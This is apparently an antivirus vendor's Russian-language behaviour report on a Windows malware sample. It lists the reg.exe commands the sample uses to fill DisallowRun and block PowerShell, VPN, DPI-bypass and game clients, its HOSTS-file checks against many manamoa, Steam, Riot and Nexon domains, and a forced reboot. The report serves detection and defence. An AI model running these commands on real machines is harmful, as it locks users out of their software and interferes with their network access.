Техническая информация
Вредоносные функции
Для затруднения выявления своего присутствия в системе
изменяет следующие системные настройки:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'DisallowRun' = '00000001'
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\2b48.tmp\ГўГ·ВґГј ГҐГё.bat
- nul
Удаляет следующие файлы
- %TEMP%\2b48.tmp\ГўГ·ВґГј ГҐГё.bat
Изменяет файл HOSTS.
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\2B48.tmp\Â÷´Ü Г…Гё.bat" <Полный путь к файлу>"
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 8 /t REG_SZ /d "Windows PowerShell" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 7 /t REG_SZ /d avg_secure_vpn_setup.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 6 /t REG_SZ /d vpncmgr.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 5 /t REG_SZ /d vpncmgr_x64.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 4 /t REG_SZ /d "Install League of Legends (Riot Client live).exe" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 3 /t REG_SZ /d maplestory_launcher.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_SZ /d SecretSNI.exe /f
- '<SYSTEM32>\find.exe' /C /I "manamoa39.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_SZ /d goodbyedpi.exe /f
- '<SYSTEM32>\timeout.exe' /t 3
- '<SYSTEM32>\find.exe' /C /I "manamoa9.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa7.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa6.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa5.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa4.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa20.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v DisallowRun /t REG_DWORD /d 0x1 /f
- '<SYSTEM32>\find.exe' /C /I "manamoa40.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 9 /t REG_SZ /d "Windows PowerShell (x86)" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 19 /t REG_SZ /d RiotClientServices.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 27 /t REG_SZ /d LeagueClientUxRender.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 26 /t REG_SZ /d LeagueClientUx.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 25 /t REG_SZ /d LeagueClient.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 24 /t REG_SZ /d Cheat Engine.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 23 /t REG_SZ /d openvpn.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 22 /t REG_SZ /d openvpn-gui.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 21 /t REG_SZ /d SecretSNI.core.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 11 /t REG_SZ /d "Windows PowerShell ISE" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 10 /t REG_SZ /d "Windows PowerShell ISE (x86)" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 18 /t REG_SZ /d Shadowsocks.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 17 /t REG_SZ /d SecretDNS.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 16 /t REG_SZ /d SecretDPI.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 15 /t REG_SZ /d SteamSetup.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 14 /t REG_SZ /d SecretDNSSetup.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 13 /t REG_SZ /d Steam.exe /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 12 /t REG_SZ /d "League of Legends installer KR" /f
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 20 /t REG_SZ /d Vpn.exe /f
- '<SYSTEM32>\find.exe' /C /I "manamoa38.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa37.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa36.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "down.kilho.net/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "secretdns.kilho.net/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "secretdpi.kilho.net/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "namu.wiki/w/A78828AAEC54" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "store.steampowered.com/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "kr.leagueoflegends.com/ko-kr/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "namu.wiki/w/GoodbyeDPI" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "kr.leagueoflegends.com/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "www.av#.com/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "secretsni.kilho.net/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "www.vp##ate.net/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "github.com/ValdikSS/GoodbyeDPI" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "kart.nexon.com/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "maplestory.nexon.com" <DRIVERS>\etc\hosts
- '<SYSTEM32>\bcdedit.exe'
- '<SYSTEM32>\find.exe' /C /I "www.av#.com/en-us/secure-vpn" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "www.av#.com/ko-kr/secure-vpn" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "github.com/ValdikSS/GoodbyeDPI/releases/tag/0.1.6" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "maplestory.nexon.com/Home/Main" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa35.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa27.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa34.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa33.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa32.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa31.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa30.ne" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa29.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa28.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa26.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "lol.secure.dyn.riotcdn.net/channels/public/x/installer/current/live.kr.exe" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa25.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "manamoa.net" <DRIVERS>\etc\hosts
- '<SYSTEM32>\timeout.exe' /t 2
- '<SYSTEM32>\find.exe' /C /I "store.steampowered.com/?l=koreana" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "riotgamespatcher-a.akamaihd.net/KR_CBT/installer/deploy/League0of0Legends0installer0KR.exe" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "down.kilho.net/secretdns" <DRIVERS>\etc\hosts
- '<SYSTEM32>\find.exe' /C /I "store.steampowered.com/about/" <DRIVERS>\etc\hosts
- '<SYSTEM32>\timeout.exe' /t 5
- '<SYSTEM32>\shutdown.exe' -r -t 0
Пытается завершить работу операционной системы Windows.
